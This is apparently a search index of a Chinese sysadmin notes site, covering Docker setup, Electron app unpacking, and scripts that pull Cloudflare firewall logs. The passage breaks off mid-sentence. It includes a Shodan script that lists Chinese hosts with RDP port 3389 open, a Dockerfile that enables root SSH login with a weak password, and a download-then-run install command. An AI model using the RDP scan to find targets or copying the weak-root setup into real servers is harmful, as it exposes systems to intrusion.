<p>\\u53c2\\u8003 https://wiki.archlinux.org/index.php/dhcpcd#DHCP_static_route.28s.29</p> <p>\\u7f16\\u8f91<code>/etc/dhcpcd.exit-hook</code></p> <pre><code>route add -net 10.0.0.0/8 gw &lt;\\u7f51\\u5173ip&gt; dev eth0\\n</code></pre>\"},{\"location\":\"Developer/#electron\",\"title\":\"\\u4fee\\u6539Electron\\u5e94\\u7528\",\"text\":\"<p>\\u60f3\\u8ba9\\u8fd9\\u4e2aElectron\\u5e94\\u7528\\u6d4f\\u89c8\\u5668\\u6253\\u5f00\\u81ea\\u5b9a\\u4e49\\u7684\\u9875\\u9762\\uff0c\\u4f46\\u4eba\\u5bb6\\u6ca1\\u63d0\\u4f9bF12\\uff08\\u867d\\u7136\\u6700\\u540e\\u53d1\\u73b0\\u4e5f\\u6ca1\\u5565\\u7528Orz</p> <p>\\u53c2\\u8003\\uff1a \\u543e\\u7231\\u7834\\u89e3-Electron\\u8de8\\u5e73\\u53f0\\u7a0b\\u5e8f\\u7834\\u89e3\\u7684\\u4e00\\u822c\\u601d\\u8def</p> <pre><code>npm install asar -g\\n# \\u5728resources\\u76ee\\u5f55\\u53ef\\u4ee5\\u627e\\u5230app.asar\\uff0c\\u8fd9\\u6837\\u89e3\\u5305\\uff1a\\nasar e app.asar tmp\\n\\n# \\u4fee\\u6539\\u540e\\u91cd\\u65b0\\u6253\\u5305\\uff1a\\nasar p tmp/ app.asar\\n</code></pre> <p>\\u5177\\u4f53\\u7684\\u4fee\\u6539\\u633a\\u7b80\\u5355\\uff0c\\u627e\\u5230\\u5165\\u53e3\\u7684electron.js</p> <p>\\u6ce8\\u91ca\\u6389new BrowserWindow\\u7684titleBarStyle: \\u2018hidden\\u2019, removeMenu() \\u4fee\\u6539.loadURL(url)</p>\"},{\"location\":\"Developer/#cloudflare\",\"title\":\"Cloudflare\\u514d\\u8d39\\u8d26\\u6237 \\u83b7\\u53d6\\u8bbf\\u95ee\\u65e5\\u5fd7\",\"text\":\"<p>\\u539f\\u59cb\\u65e5\\u5fd7\\u53ea\\u5bf9\\u4ed8\\u8d39\\u7684\\u4f01\\u4e1a\\u7248\\u5f00\\u653e\\uff0c\\u96be\\u9053\\u6211\\u4eec\\u5c31\\u6ca1\\u6709\\u65b9\\u6cd5\\u83b7\\u53d6\\u8bbf\\u95ee\\u65e5\\u5fd7\\u6765\\u5206\\u6790\\u6d41\\u91cf\\u561b\\uff1f</p> <p>\\u770b\\u5230\\u9632\\u706b\\u5899\\u7684\\u62e6\\u622a\\u65e5\\u5fd7\\uff0c\\u53c8\\u53d1\\u73b0\\u201c\\u7ed5\\u8fc7\\u201d\\u8fd9\\u4e2aaction\\u4e5f\\u4f1a\\u8bb0\\u5f55\\u65e5\\u5fd7\\uff0c\\u90a3\\u6211\\u4eec\\u5c31\\u53ef\\u4ee5\\u521b\\u5efa\\u4e00\\u4e2a\\u7ed5\\u8fc7\\u672c\\u8eab\\u5c31\\u6ca1\\u6709\\u542f\\u7528\\u7684\\u9632\\u62a4\\uff0c\\u5c31\\u80fd\\u8bb0\\u5f55\\u6240\\u6709\\u6d41\\u91cf\\u4e86\\u3002\\u4f46\\u6ce8\\u610f\\u8fd9\\u4e2a\\u9632\\u706b\\u5899\\u65e5\\u5fd7\\u662f\\u62bd\\u6837\\u8bb0\\u5f55\\u7684\\u3002</p> <p>\\u770bF12 Network\\u53d1\\u73b0\\u4eba\\u5bb6\\u67e5\\u8be2\\u63a5\\u53e3\\u7528\\u7684\\u662fGraphQL\\uff0c\\u7136\\u540e\\u53d1\\u73b0\\u9700\\u8981\\u901a\\u8fc7introspection\\u624d\\u80fd\\u77e5\\u9053\\u6709\\u54ea\\u4e9b\\u53ef\\u7528\\u7684\\u5b57\\u6bb5</p> <p>cloudflare\\u7684\\u6587\\u6863\\uff1a https://developers.cloudflare.com/analytics/graphql-api/getting-started/querying-basics</p> <p>\\u5b9e\\u9645\\u7684introspection\\u8bf7\\u6c42\\uff1ahttps://stackoverflow.com/questions/34199982/how-to-query-all-the-graphql-type-fields-without-writing-a-long-query</p> <p>\\u67e5\\u8be2\\u9650\\u5236\\uff1a\\u4e00\\u6b21\\u5206\\u9875\\u53ef\\u4ee5\\u83b7\\u53d6\\u6700\\u592710000\\u6761\\u8bb0\\u5f55\\uff0cfilter\\u5fc5\\u987b\\u6709\\u5185\\u5bb9\\uff0c\\u65f6\\u95f4\\u8de8\\u5ea6\\u4e00\\u6b21\\u4e0d\\u80fd\\u8d85\\u8fc724\\u5c0f\\u65f6</p> <pre><code>import requests\\nfrom pprint import pprint\\nfrom datetime import timezone,datetime,timedelta\\nsess=requests.session()\\nfrom config import headers\\n\\ndef fetch(ts):\\n    res = []\\n    end = ts.strftime(\\\"%Y-%m-%dT%H:%M:%SZ\\\")\\n    start = (ts-timedelta(days=1)).strftime(\\\"%Y-%m-%dT%H:%M:%SZ\\\")\\n    x=sess.post(\\\"https://api.cloudflare.com/client/v4/graphql\\\", headers=headers, data= '{\\\"operationName\\\":\\\"ActivityLogQuery\\\",\\\"variables\\\":{\\\"zoneTag\\\":\\\"8a4335a74373cec7fd053241dc3e3f41\\\",\\\"filter\\\":{\\\"datetime_geq\\\":\\\"'+start+'\\\",\\\"datetime_leq\\\":\\\"'+end+'\\\"},\\\"limit\\\":10000,\\\"activityFilter\\\":{\\\"datetime_geq\\\":\\\"'+start+'\\\",\\\"datetime_leq\\\":\\\"'+end+'\\\"}},\\\"query\\\":\\\"query ActivityLogQuery($zoneTag: string, $filter: FirewallEventsAdaptiveGroupsFilter_InputObject, $activityFilter: FirewallEventsAdaptiveFilter_InputObject, $limit: int64\\\\\\\\u0021) { viewer { zones(filter: {zoneTag: $zoneTag}) { total: firewallEventsAdaptiveByTimeGroups(limit: 1, filter: $filter) { count avg { sampleInterval __typename } __typename } activity: firewallEventsAdaptive(filter: $activityFilter, limit: $limit, orderBy: [datetime_DESC, rayName_DESC, matchIndex_ASC]) { action clientASNDescription clientAsn clientCountryName clientIP clientRequestHTTPHost clientRequestHTTPMethodName clientRequestHTTPProtocol clientRequestPath clientRequestQuery datetime rayName ruleId source userAgent matchIndex metadata { key value __typename } sampleInterval originResponseStatus edgeResponseStatus clientRefererScheme clientRefererHost clientRefererPath clientRefererQuery clientIPClass  __typename } __typename } __typename }}\\\"}')\\n    #print(x.json())\\n    return x.json()[\\\"data\\\"][\\\"viewer\\\"]['zones'][0]['activity']\\n\\n\\nlogformat = ['datetime', 'clientIP', 'clientIPClass', 'edgeResponseStatus', 'originResponseStatus', 'clientRequestHTTPMethodName', 'clientRequestPath', 'clientRequestQuery', 'clientRequestHTTPProtocol', 'clientRefererScheme', 'clientRefererHost', 'clientRefererPath', 'clientRefererQuery', 'userAgent', 'action', 'clientASNDescription', 'clientAsn', 'clientCountryName', 'clientRequestHTTPHost',  'matchIndex', 'ruleId', 'sampleInterval', 'source', 'rayName']\\nfp=open(\\\"access.log\\\", \\\"w\\\")\\nts = datetime.now(tz=timezone.utc)\\nknownrays=set()\\ndata = None\\nwhile data is None or len(data)==10000:\\n    data = fetch(ts)\\n    for i in data:\\n        if i['rayName'] in knownrays:\\n            continue\\n        line = \\\"\\\\t\\\".join(str(i[j]) for j in logformat)\\n        fp.write(line+\\\"\\\\n\\\")\\n    last = data[-1]\\n    knownrays.update([i['rayName'] for i in data if i['datetime']==last['datetime']])\\n    print(last['datetime'], \\\"len(knownrays)=\\\",len(knownrays))\\n    ts = datetime.strptime(last['datetime'], \\\"%Y-%m-%dT%H:%M:%SZ\\\")\\n</code></pre> <p>\\u7136\\u540e\\u5c31\\u80fd\\u5206\\u6790\\u4f8b\\u5982\\u8bbf\\u95ee\\u6700\\u591a\\u7684IP: <code>cut -d$'\\\\t' -f2 access.log|sort|uniq -c|sort -hr|head -n 30</code></p>\"},{\"location\":\"Developer/#shodan-ip\",\"title\":\"shodan \\u641c\\u7d22\\u5f00\\u653e\\u7279\\u5b9a\\u7aef\\u53e3\\u7684ip\\u5217\\u8868\",\"text\":\"<p>\\u8fd9\\u4e2a\\u9700\\u6c42\\u53ea\\u9700\\u8981\\u4f7f\\u7528faucet\\u5373\\u53ef\\uff0c\\u514d\\u8d39</p> <p>\\u4e3e\\u4e2a\\u4f8b\\u5b50\\uff1a\\u641c\\u7d223389\\u7684\\u4e2d\\u56fdip\\uff1a</p> <p>https://beta.shodan.io/search/facet?query=port%3A3389+country%3Acn&amp;facet=ip</p> <p>\\u4e5f\\u53ef\\u4ee5\\u4f7f\\u7528shodan\\u7684python\\u5305\\u6765\\u67e5\\u8be2\\uff0c\\u9700\\u8981\\u6ce8\\u518c\\u4e00\\u4e2a\\u8d26\\u53f7\\u5f97\\u5230api key\\uff1a</p> <pre><code>import shodan\\nx=shodan.Shodan(\\\"APIKEY\\\")\\ndata=x.search(\\\"port:3389 country:cn\\\", facets=['ip:10000'])\\niplist=([i[\\\"value\\\"] for i in data[\\\"facets\\\"][\\\"ip\\\"]])\\n</code></pre>\"},{\"location\":\"Developer/#varlibdockeroverlay2\",\"title\":\"\\u627e\\u5230 /var/lib/docker/overlay2 \\u5bf9\\u5e94\\u7684\\u5bb9\\u5668\",\"text\":\"<p>\\u786c\\u76d8\\u7a7a\\u95f4\\u4e0d\\u591f\\uff0c\\u53ef\\u80fd\\u662fdocker\\u5360\\u7528\\u4e86\\u592a\\u591a\\u7a7a\\u95f4</p> <p>\\u53c2\\u8003 https://fabianlee.org/2021/04/08/docker-determining-container-responsible-for-largest-overlay-directories/</p> <pre><code>ncdu /var/lib/docker/overlay2 #\\u67e5\\u770b\\u54ea\\u4e9b\\u76ee\\u5f55\\u5360\\u636e\\u7a7a\\u95f4\\u6700\\u5927\\ndocker inspect $(docker ps -qa) | jq -r 'map([.Name, .GraphDriver.Data.MergedDir]) | .[] | \\\"\\\\(.[0])\\\\t\\\\(.[1])\\\"' &gt; docker-mappings.txt\\n</code></pre>\"},{\"location\":\"Docker/\",\"title\":\"Docker\",\"text\":\"\"},{\"location\":\"Docker/#_1\",\"title\":\"\\u642c\\u8fd0\\u955c\\u50cf\",\"text\":\"<pre><code>IMAGE=mysql\\ndocker save $IMAGE | 7z a -si $IMAGE.tar.7z\\n7z x -so $IMAGE.tar.7z | docker load\\n</code></pre>\"},{\"location\":\"Docker/#docker\",\"title\":\"\\u5b89\\u88c5Docker\",\"text\":\"<pre><code>curl -fsSL https://get.docker.com -o get-docker.sh\\nsh get-docker.sh --mirror Aliyun\\n</code></pre>\"},{\"location\":\"Docker/#myubuntu\",\"title\":\"myubuntu \\u57fa\\u7840\\u955c\\u50cf\",\"text\":\"<p>@TAG \\u65f6\\u533a timezone </p> <p>\\u7b80\\u5355\\u5730\\u5c06Docker\\u5f53\\u6210\\u865a\\u62df\\u673a\\u6765\\u4f7f\\u7528\\u7684\\u8bdd\\uff0c\\u81ea\\u7136\\u8981\\u51c6\\u5907\\u4e2a\\u597d\\u7528\\u7684\\u57fa\\u7840\\u955c\\u50cf\\u54af</p> <p>\\u57fa\\u4e8e\\u76ee\\u524d\\u6700\\u65b0\\u7684ubuntu18.04\\uff0c\\u914d\\u7f6eapt\\u6e90\\u3001pip\\u6e90\\u3001\\u65f6\\u533a\\u3001ssh\\u5141\\u8bb8\\u5bc6\\u7801\\u767b\\u5f55</p> <p>Dockerfile:</p> <pre><code>FROM ubuntu:18.04\\nRUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list &amp;&amp; \\\\\\nsed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list # \\u4fee\\u6539apt\\u6e90\\nRUN apt update &amp;&amp; apt install -y ssh curl wget net-tools iputils-ping netcat python3-pip python-pip nano vim tzdata screen psmisc\\nRUN ln -sf /usr/share/zoneinfo/Asia/Shanghai  /etc/localtime # \\u4fee\\u6539\\u65f6\\u533a\\nRUN mkdir -p ~/.pip &amp;&amp; echo '[global]\\\\nindex-url = http://pypi.doubanio.com/simple/\\\\n[install]\\\\ntrusted-host=pypi.doubanio.com\\\\n'&gt;  ~/.pip/pip.conf\\nRUN sed -i 's/prohibit-password/yes/g' /etc/ssh/sshd_config &amp;&amp; sed -i 's/#PermitRootLogin/PermitRootLogin/g' /etc/ssh/sshd_config # \\u5141\\u8bb8root\\u7528\\u6237\\u5bc6\\u7801\\u767b\\u5f55\\nRUN echo root:badpassword|chpasswd # \\u8bb0\\u5f97\\u4fee\\u6539\\u8fd9\\u91cc\\u7684\\u5bc6\\u7801\\nADD run.sh /\\nRUN chmod +x /run.sh\\nCMD /run.sh\\n</code></pre> <p>run.sh:</p> <pre><code>#!/bin/bash\\nservice ssh start\\n# \\u5728\\u5bb9\\u5668\\u5185\\u5b89\\u88c5\\u4e86mysql\\u7b49\\u4e4b\\u540e\\u53ef\\u4ee5\\u5728run.sh\\u8fd9\\u91cc\\u6dfb\\u52a0\\u76f8\\u5e94\\u7684\\u542f\\u52a8\\u547d\\u4ee4\\nsleep infinity\\n</code></pre> <p>build\\u547d\\u4ee4\\uff1a</p> <pre><code>docker build -t myubuntu18 .\\n</code></pre>\"},{\"location\":\"Docker/#install\",\"title\":\"Install \\u5b89\\u88c5\",\"text\":\"<p>\\u5efa\\u8bae\\u53c2\\u89c1\\u5982\\u4f55\\u7ffb\\u5899\\uff0c\\u90e8\\u7f72http proxy</p> <p>\\u5b89\\u88c5\\u4e4b\\u524d\\uff0c\\u5efa\\u8bae\\u4fee\\u6539apt\\u6e90</p> <p>\\u5b89\\u88c5\\u4e4b\\u524d\\uff0c\\u6216\\u8bb8\\u8981\\u5bf9\\u5185\\u6838\\u5347\\u7ea7\\uff0c\\u5982\\u679c\\u6267\\u884c\\u5b89\\u88c5\\u811a\\u672c\\u53d1\\u51fa\\u4e86\\u5bf9aufs\\u7684\\u8b66\\u544a\\uff0c\\u8bf7\\u5148\\u770b\\u4e0b\\u9762\\u7684 \\u89e3\\u51b3aufs\\u7684\\u95ee\\u9898</p> <p>\\u5b89\\u88c5\\u547d\\u4ee4\\uff1a </p> <pre><code>curl -fsSL get.docker.com -o get-docker.sh\\nsh get-docker.sh --mirror Aliyun\\n</code></pre> <p>\\u5176\\u4e2d\\u6700\\u540e\\u4e00\\u6b65\\u7684apt-get install docker-engine\\u8017\\u65f6\\u8f83\\u957f\\uff0c\\u770b\\u8d77\\u6765\\u5f88\\u50cf\\u5361\\u6b7b\\uff0c\\u9700\\u8981\\u8010\\u5fc3\\u7b49\\u5f85</p> <p>\\u5b89\\u88c5\\u540e\\u6267\\u884cdocker version\\uff0c\\u6ca1\\u6709\\u62a5\\u9519\\u5373\\u53ef</p>\"},{\"location\":\"Docker/#aufs\",\"title\":\"\\u89e3\\u51b3aufs\\u7684\\u95ee\\u9898\",\"text\":\"<pre><code>apt-get install lxc wget bsdtar curl\\napt-get install linux-image-extra-$(uname -r)\\nmodprobe aufs\\n</code></pre>\"},{\"location\":\"Docker/#_2\",\"title\":\"\\u52a0\\u901f\\u955c\\u50cf\\u4e0b\\u8f7d\",\"text\":\"<p>\\u5728\\u6267\\u884c\\u4ee5\\u4e0b\\u64cd\\u4f5c\\u4e4b\\u524d\\uff0c\\u8bf7\\u68c0\\u67e5docker\\u7684\\u7248\\u672c\\uff1a<code>docker -v</code></p> <p>\\u5982\\u679c\\u4f60\\u7684docker\\u7248\\u672c\\u4e3a1.6.2,\\u8bf7\\u53c2\\u8003\\u4e0b\\u65b9 \\u5378\\u8f7ddocker</p>\"},{\"location\":\"Docker/#_3\",\"title\":\"\\u5efa\\u8bae\\u4f7f\\u7528\\u963f\\u91cc\\u4e91\\u7684\\u955c\\u50cf\\u6e90\",\"text\":\"<pre><code>sudo mkdir -p /etc/docker\\nsudo tee /etc/docker/daemon.json &lt;&lt;-'EOF'\\n{\\n\\\"registry-mirrors\\\": [\\\"https://h0kyslzs.mirror.aliyuncs.com\\\"]\\n}\\nEOF\\nsudo systemctl daemon-reload\\nsudo systemctl restart docker\\n</code></pre> <p>\\u53e6\\u5916\\u4f60\\u4e5f\\u53ef\\u4ee5\\u4f7f\\u7528USTC\\u7684\\u955c\\u50cf\\u6e90\\uff1a\\u53c2\\u8003 https://lug.ustc.edu.cn/wiki/mirrors/help/docker</p>\"},{\"location\":\"Docker/#docker_1\",\"title\":\"Docker\\u65e7\\u7248\\u672c\\u5378\\u8f7d\",\"text\":\"<p>\\u5982\\u679c\\u4f60\\u7684docker\\u662f\\u4f7f\\u7528apt-get install docker.io\\u5b89\\u88c5\\u7684\\uff0c\\u5148\\u6267\\u884c\\u4ee5\\u4e0b\\u547d\\u4ee4\\u5378\\u8f7d\\uff1a</p> <pre><code>apt-get remove docker.io\\napt-get autoremove\\nrm -rf /var/lib/docker\\n</code></pre> <p>\\u7136\\u540e\\u5c31\\u53ef\\u4ee5\\u6267\\u884c\\u5b89\\u88c5\\u547d\\u4ee4\\u4e86</p>\"},{\"location\":\"Docker/#ip\",\"title\":\"\\u83b7\\u5f97\\u5bb9\\u5668\\u7684ip\",\"text\":\"<p>@TAG getip</p> <pre><code>alias getip=\\\"docker inspect  --format '{{.NetworkSettings.IPAddress}}' \\\"\\n\\ngetip \\u5bb9\\u5668\\u540d\\u79f0\\n</code></pre> <p>\\u8fd9\\u79cd\\u65b9\\u6848\\u5bf9macvlan\\u7684\\u5bb9\\u5668\\u4e0d\\u9002\\u7528\\uff0c\\u53c2\\u89c1 \\u83b7\\u53d6macvlan\\u5bb9\\u5668\\u7684IP</p>\"},{\"location\":\"Docker/#_4\",\"title\":\"\\u5bfc\\u51fa\\u5bfc\\u5165\",\"text\":\"\"},{\"location\":\"Docker/#-save\",\"title\":\"\\u642c\\u8fd0\\u955c\\u50cf\\u2013save\\u5bfc\\u51fa\\u955c\\u50cf\",\"text\":\"<p>\\u7531\\u4e8e\\u7f51\\u7edc\\u5e26\\u5bbd(\\u6d41\\u91cf)\\u5f80\\u5f80\\u662f\\u74f6\\u9888\\u8d44\\u6e90\\uff0c\\u6240\\u4ee5\\u4ea7\\u751f\\u66f4\\u5c0f\\u7684\\u538b\\u7f29\\u6587\\u4ef6\\u5f88\\u6709\\u5fc5\\u8981\\uff0c\\u8fd9\\u91cc\\u6211\\u4eec\\u53ef\\u4ee5\\u751f\\u6210 tar.7z \\u6587\\u4ef6\\uff1a<code>apt-get install -y p7zip-full</code></p> <pre><code>docker save \\u955c\\u50cf\\u540d\\u79f0 | 7z a -si \\u5bfc\\u51fa\\u6587\\u4ef6\\u540d.tar.7z\\n</code></pre> <p>\\u8fd9\\u662f\\u751f\\u6210tar.gz\\u6587\\u4ef6\\uff1a</p> <pre><code>docker save \\u955c\\u50cf\\u540d\\u79f0 | gzip &gt;\\u5bfc\\u51fa\\u6587\\u4ef6\\u540d.tar.gz\\n</code></pre>\"},{\"location\":\"Docker/#-load\",\"title\":\"\\u642c\\u8fd0\\u955c\\u50cf\\u2013load\\u8f7d\\u5165\\u955c\\u50cf\",\"text\":\"<p>\\u5982\\u679c\\u662f tar.7z \\u6587\\u4ef6\\uff0c\\u9700\\u8981\\u8c03\\u7528 7z \\u547d\\u4ee4\\u89e3\\u538b\\uff1a</p> <pre><code>7z x -so \\u6587\\u4ef6\\u540d.tar.7z | docker load\\n</code></pre> <p>\\u5982\\u679c\\u662f tar.gz \\u6587\\u4ef6\\uff0c\\u53ef\\u4ee5\\u76f4\\u63a5\\u8f7d\\u5165\\uff1a</p> <pre><code>docker load &lt; \\u6587\\u4ef6\\u540d.tar.gz\\n</code></pre>\"},{\"location\":\"Docker/#export\",\"title\":\"Export\\u5bfc\\u51fa\\u5bb9\\u5668 \\u5e76\\u4e0d\\u5e38\\u7528\",\"text\":\"<p>\\u76f4\\u63a5\\u5bfc\\u51fa\\u5bb9\\u5668\\u5e76\\u4e0d\\u5e38\\u7528\\uff0c\\u5efa\\u8bae<code>docker commit \\u5bb9\\u5668\\u540d\\u79f0 \\u4fdd\\u5b58\\u6210\\u7684\\u955c\\u50cf\\u540d\\u79f0</code>\\uff0c\\u7136\\u540e\\u5bfc\\u51fa\\u955c\\u50cf</p> <p>\\u5bfc\\u51fa\\u5bb9\\u5668\\u5f97\\u5230\\u7684\\u662ftar\\u6587\\u4ef6\\uff0c\\u6ca1\\u6709\\u8fdb\\u884c\\u538b\\u7f29\\uff0c\\u6211\\u4eec\\u9700\\u8981\\u624b\\u52a8\\u6267\\u884c\\u538b\\u7f29</p> <pre><code>docker export \\u5bb9\\u5668\\u7684\\u540d\\u79f0\\u6216ID | gzip &gt;\\u5bfc\\u51fa\\u6587\\u4ef6\\u540d.tar.gz\\n</code></pre>\"},{\"location\":\"Docker/#import\",\"title\":\"Import\\u5bfc\\u5165\\u5bb9\\u5668\",\"text\":\"<p>\\u867d\\u7136\\u4e0a\\u4e00\\u6b65\\u6211\\u4eec\\u538b\\u7f29\\u4e86\\uff0c\\u4f46docker\\u53ef\\u4ee5\\u76f4\\u63a5import\\uff0c\\u4e0d\\u9700\\u8981\\u7528gunzip</p> <pre><code>docker import \\u6587\\u4ef6\\u540d\\n</code></pre>\"},{\"location\":\"Docker/#iptables-failed-no-chiantargetmatch-by-that-name\",\"title\":\"\\u89e3\\u51b3iptables failed - No chian/target/match by that name\",\"text\":\"<p>\\u5982\\u679cdocker\\u5b89\\u88c5\\u7684\\u65f6\\u5019\\u6ca1\\u6709\\u81ea\\u52a8\\u628a\\u9700\\u8981\\u7684\\u89c4\\u5219\\u94fe\\u52a0\\u4e0a\\uff0c\\u53ef\\u4ee5\\u624b\\u52a8\\u6dfb\\u52a0</p> <pre><code>iptables -t nat -N DOCKER\\niptables -t filter -N DOCKER\\n</code></pre> <p>\\u9644\\uff1a\\u5982\\u679c\\u9700\\u8981\\u5220\\u9664\\u94fe\\u6761\\uff0c\\u53ef\\u4ee5\\u7528<code>iptables-save</code>\\u5bfc\\u51fa\\u540e\\u624b\\u52a8\\u7f16\\u8f91\\u540e<code>iptables-restore</code></p>\"},{\"location\":\"Docker/#docker_2\",\"title\":\"\\u8fc1\\u79fbDocker\\u6587\\u4ef6\\u5939\\u5230\\u5176\\u4ed6\\u786c\\u76d8\",\"text\":\"<p>\\u5f53\\u955c\\u50cf\\u591a\\u4e86\\u8d77\\u6765\\u7684\\u65f6\\u5019\\uff0c/var/lib\\u6240\\u5728\\u7684\\u78c1\\u76d8\\u5206\\u533a\\u5f88\\u53ef\\u80fd\\u88ab\\u5360\\u6ee1\\uff0c\\u8fd9\\u65f6\\u5019\\u8981\\u8003\\u8651\\u8fc1\\u79fb\\u5230\\u5176\\u4ed6\\u786c\\u76d8\\uff0c\\u6b64\\u5904\\u4ee5\\u8fc1\\u79fb\\u5230<code>/home/docker</code>\\u4e3a\\u4f8b\\u8bf4\\u660e</p> <pre><code># \\u9996\\u5148\\u8bb0\\u5f97\\u5173\\u95ed\\u670d\\u52a1\\nservice docker stop\\nmv /var/lib/docker /home/\\n# \\u7136\\u540e\\u4fee\\u6539\\u670d\\u52a1\\u914d\\u7f6e\\u6587\\u4ef6/etc/default/docker\\uff0c\\u6b64\\u5904\\u5efa\\u8bae\\u624b\\u52a8vim\\u7f16\\u8f91\\uff0c\\u5728\\u542f\\u52a8\\u53c2\\u6570\\u4e2d\\u52a0\\u5165\\u8fd9\\u4e2a\\uff1a\\n#    --graph='/home/docker'\\necho -e \\\"\\\\nDOCKER_OPTS=\\\\\\\"--graph='/home/docker'\\\\\\\"\\\" &gt;&gt; /etc/default/docker\\n</code></pre>\"},{\"location\":\"Docker/#debianifconfigkillall\",\"title\":\"\\u89e3\\u51b3debian\\u7b49\\u5bb9\\u5668\\u6ca1\\u6709ifconfig,killall\\u7684\\u95ee\\u9898\",\"text\":\"<pre><code>apt-get install net-tools psmisc\\n</code></pre>\"},{\"location\":\"Docker/#_5\",\"title\":\"\\u8bbe\\u7f6e\\u5bb9\\u5668\\u4f4e\\u6743\\u9650\\u7528\\u6237\\u8fd0\\u884c\",\"text\":\"<p>@TAG user \\u5b89\\u5168\\u6700\\u4f73\\u5b9e\\u8df5</p> <p>\\u5728Dockerfile\\u4e2d\\u52a0\\u5165</p> <pre><code>User nobody\\n</code></pre> <p>\\u5bb9\\u5668\\u8fd0\\u884c\\u540eexec\\u8fdb\\u53bb\\u9ed8\\u8ba4\\u662fnobody\\u7528\\u6237\\uff0c\\u5e76\\u4e0d\\u80fdsu\\u5565\\u7684\\uff0c\\u8fd9\\u65f6\\u5019exec\\u9700\\u8981\\u5e26\\u53c2\\u6570-u\\u8868\\u793a\\u7528\\u6307\\u5b9a\\u7528\\u6237\\u8eab\\u4efd\\u8fdb\\u5165\\u5bb9\\u5668\\uff1a</p> <pre><code>docker exec -i -t -u root \\u5bb9\\u5668\\u540d\\u79f0 /bin/bash\\n</code></pre>\"},{\"location\":\"Docker/#etcresolvconfetchosts\",\"title\":\"\\u8bbe\\u7f6e\\u5bb9\\u5668/etc/resolv.conf\\u548c/etc/hosts\",\"text\":\"<p>\\u5728\\u5bb9\\u5668\\u4e2d\\u8fd9\\u4e24\\u4e2a\\u6587\\u4ef6\\u662f\\u4ee5mount\\u5f62\\u5f0f\\u6302\\u8f7d\\u7684\\uff0c\\u4e0d\\u80fdunmount\\uff1b\\u5373\\u4f7f\\u8fdb\\u884c\\u4fee\\u6539\\uff0c\\u5bb9\\u5668\\u91cd\\u542f\\u540e\\u4fee\\u6539\\u5c31\\u4e22\\u5931\\u4e86</p> <p>\\u5176\\u5b9e\\u8fd9\\u4e24\\u4e2a\\u6587\\u4ef6\\u5e94\\u8be5\\u5728\\u5bb9\\u5668\\u521b\\u5efa\\u7684\\u65f6\\u5019\\u6307\\u5b9a\\u53c2\\u6570<code>--dns</code>\\u548c<code>--add-host</code>\\u6765\\u52a0\\u4ee5\\u63a7\\u5236\\uff1a</p> <pre><code>docker run -d --dns 114.114.114.114 --add-host example.com:1.2.3.4 \\u5bb9\\u5668\\u540d\\u79f0\\n</code></pre>\"},{\"location\":\"Docker/#_6\",\"title\":\"\\u5bb9\\u5668\\u9650\\u5236\\u53c2\\u6570\\u8bbe\\u7f6e\",\"text\":\"<p>\\u5f53\\u5bb9\\u5668\\u662f\\u5f00\\u653e\\u7ed9\\u4e0d\\u53ef\\u4fe1\\u57df\\u7684\\u65f6\\u5019(\\u5982\\u90e8\\u7f72\\u4e00\\u4e2aCTF\\u7684pwn\\u9898\\u76ee)\\uff0c\\u867d\\u7136\\u5bb9\\u5668\\u9003\\u90380-day\\u6211\\u4e5f\\u6ca1\\u529e\\u6cd5\\uff0c\\u4f46\\u9650\\u5236\\u4e00\\u4e0b\\u5bb9\\u5668\\u8d44\\u6e90\\u5360\\u7528\\u9632\\u6b62\\u6405\\u5c4e\\u4e5f\\u662f\\u5f88\\u6709\\u5fc5\\u8981\\u7684</p> <pre><code>--cpu-shares 512 --cpu-period=100000 --cpu-quota=50000 --memory 104857600 --ulimit=nofile=65536 --pids-limit=200 --blkio-weight=512 --restart=\\\"always\\\"\\n</code></pre> <p>\\u6548\\u679c\\u7b80\\u4ecb\\uff1a\\u5982\\u4e0a\\u914d\\u7f6e\\u6700\\u591a\\u5360\\u7528 50% \\u5355\\u4e2a CPU \\uff0c\\u6700\\u591a\\u5360\\u7528100MB\\u7269\\u7406\\u5185\\u5b58\\uff0c\\u5bb9\\u5668\\u5185\\u8fdb\\u7a0b\\u6570\\u76ee\\u6700\\u591a200\\u4e2a</p> <p><code>--cpu-shares</code>\\u8868\\u793a\\u76f8\\u5bf9\\u5229\\u7528\\u5360\\u6bd4\\uff0c\\u4e0d\\u8bbe\\u7f6e\\u7684\\u9ed8\\u8ba4\\u503c\\u4e3a1024\\uff0c\\u5355\\u4e2aCPU\\u662f1024\\uff0c\\u53ea\\u6709\\u5f53\\u5bb9\\u5668\\u8bd5\\u56fe\\u5360\\u7528100%\\u7684CPU\\u65f6\\u624d\\u4f1a\\u4f53\\u73b0\\u4f5c\\u7528\\uff0c\\u4e3e\\u4e2a\\u4f8b\\u5b50\\uff1a</p> <p>From: http://blog.opskumu.com/docker-cpu-limit.html \\u5047\\u5982\\u4e00\\u4e2a 1core \\u7684\\u4e3b\\u673a\\u8fd0\\u884c 3 \\u4e2a container\\uff0c\\u5176\\u4e2d\\u4e00\\u4e2a cpu-shares \\u8bbe\\u7f6e\\u4e3a 1024\\uff0c\\u800c\\u5176\\u5b83 cpu-shares \\u88ab\\u8bbe\\u7f6e\\u6210 512\\u3002\\u5f53 3 \\u4e2a\\u5bb9\\u5668\\u4e2d\\u7684\\u8fdb\\u7a0b\\u5c1d\\u8bd5\\u4f7f\\u7528 100% CPU \\u7684\\u65f6\\u5019\\u300c\\u5c1d\\u8bd5\\u4f7f\\u7528 100% CPU \\u5f88\\u91cd\\u8981\\uff0c\\u6b64\\u65f6\\u624d\\u53ef\\u4ee5\\u4f53\\u73b0\\u8bbe\\u7f6e\\u503c\\u300d\\uff0c\\u5219\\u8bbe\\u7f6e 1024 \\u7684\\u5bb9\\u5668\\u4f1a\\u5360\\u7528 50% \\u7684 CPU \\u65f6\\u95f4\\uff0c\\u5176\\u4ed6\\u4e24\\u4e2a\\u5bb9\\u5668\\u5219\\u53ea\\u80fd\\u5206\\u522b\\u5360\\u7528\\u5230 25% \\u7684 CPU \\u65f6\\u95f4\\u3002 \\u5982\\u679c\\u4e3b\\u673a\\u662f 3core\\uff0c\\u8fd0\\u884c 3 \\u4e2a\\u5bb9\\u5668\\uff0c\\u4e24\\u4e2a cpu-shares \\u8bbe\\u7f6e\\u4e3a 512\\uff0c\\u4e00\\u4e2a\\u8bbe\\u7f6e\\u4e3a 1024\\uff0c\\u5219\\u6b64\\u65f6\\u6bcf\\u4e2a container \\u90fd\\u80fd\\u5360\\u7528\\u5176\\u4e2d\\u4e00\\u4e2a 